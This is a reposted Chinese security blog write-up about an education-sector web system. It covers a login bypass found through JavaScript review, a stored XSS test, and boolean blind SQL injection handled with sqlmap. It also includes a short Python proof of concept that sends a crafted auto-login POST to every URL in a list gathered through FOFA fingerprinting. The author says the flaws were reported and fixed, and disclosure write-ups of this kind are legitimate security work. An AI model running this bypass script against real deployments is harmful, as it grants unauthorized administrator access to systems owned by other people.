记一次EDU网站漏洞通杀

admin 2023年4月2日02:34:12评论31 views字数 870阅读2分54秒阅读模式

一、漏洞挖掘

1、逻辑缺陷

熟悉的页面,熟悉的弱口令测试,但无果

记一次EDU网站漏洞通杀

我就把目光转向js审计,果不其然有新发现,可以根据账号自动登录

记一次EDU网站漏洞通杀

于是直接构造请求绕过登录

记一次EDU网站漏洞通杀

经典的管理员权限

2、存储型XSS

寻找文本输入

记一次EDU网站漏洞通杀

浅析: 前端:这里的标签都是普通标签,没有像RCDATA元素(RCDATA elements),有<textarea><title>,会做一次HTML编码,所以可以直接插入危险的js代码。 后端:没有任何过滤(xs~

记一次EDU网站漏洞通杀

所以就简单了,直接插入<script>alert('1')</script>即可

记一次EDU网站漏洞通杀

3、SQL注入

记一次EDU网站漏洞通杀

测试无果

记一次EDU网站漏洞通杀

最后发现注入点在第一个函数,果然任何一个输入点都可能是不安全的,是布尔型盲注

记一次EDU网站漏洞通杀

后面就是经典Sqlmap了

记一次EDU网站漏洞通杀

二、继续通杀

根据系统指纹在fofa上搜索:"xx系统" && icon_hash="11xxxx"有32个IP,看了下,有重复的

记一次EDU网站漏洞通杀

使用fofa_viewer导出目标 这里我根据第一个逻辑漏洞的漏洞指纹信息,写了一个简单poc

import requests


def poc(url):
poc_url = url + '/login/doautologin.edu'
data = {'um.userid': "admin"}
try:
res = requests.post(poc_url, data=data, timeout=5)
if (res.headers.get("Set-Cookie")): # 登录成功就会set-cookie
print(url + '/login.html')
except BaseException:  
pass


if __name__ == '__main__':
with open('url.txt', 'r') as f:
for i in f:
poc(i.rstrip('n'))

以上漏洞均已报告给相应学校且已修复

三、思考总结

1)在访问系统当中的时候F12查看源码是一个不错的习惯(尤其是有前端弹框的)

2)前端代码的一切展示行为完全可控(一定要理解这句话)

3)了解程序的底层逻辑,你才能更清晰的知道每一个参数的意义


原文始发于微信公众号(W小哥):记一次EDU网站漏洞通杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月2日02:34:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次EDU网站漏洞通杀https://cn-sec.com/archives/1644110.html

发表评论

匿名网友 填写信息